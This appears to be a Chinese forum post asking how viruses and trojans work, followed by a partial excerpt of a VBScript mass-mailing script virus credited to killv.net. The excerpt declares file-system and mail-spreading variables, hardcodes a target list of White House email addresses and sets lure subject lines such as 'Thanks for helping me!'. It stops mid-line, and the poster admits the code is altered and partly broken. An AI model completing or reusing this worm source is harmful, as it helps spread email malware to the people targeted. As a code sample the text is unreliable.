病毒与木马的原理是什么？如何做？

基于编程代码～攻击系统漏洞～～
说明！！！！！！！！！
以下是示例，经过金哥改动！！！已经不能生成脚本病毒了！！！～～
但是有参考意义～～
说明[killv.net]
出来比较久了，部分代码有错误，但对初学者还是有一定参考，$Top系列脚本病毒最初就是根据它发展而来的。

部分代码[killv.net]
On Error Resume Next
Dim vbscr, fso, w1, w2, MSWKEY, HCUW, Code_Str, Vbs_Str, Js_Str
Dim defpath, smailc, MAX_SIZE
Dim whb(), title(10)
smailc = 4
ReDim whb(smailc) ’白宫相关人员邮件名单＊＊＊＊
whb(0) = "president@whitehouse.gov"
whb(1) = "vice.president@whitehouse.gov "
whb(2) = "first.lady@whitehouse.gov"
whb(3) = "mrs.cheney@whitehouse.gov"
'发送邮件的主题
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"＊＊＊＊
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These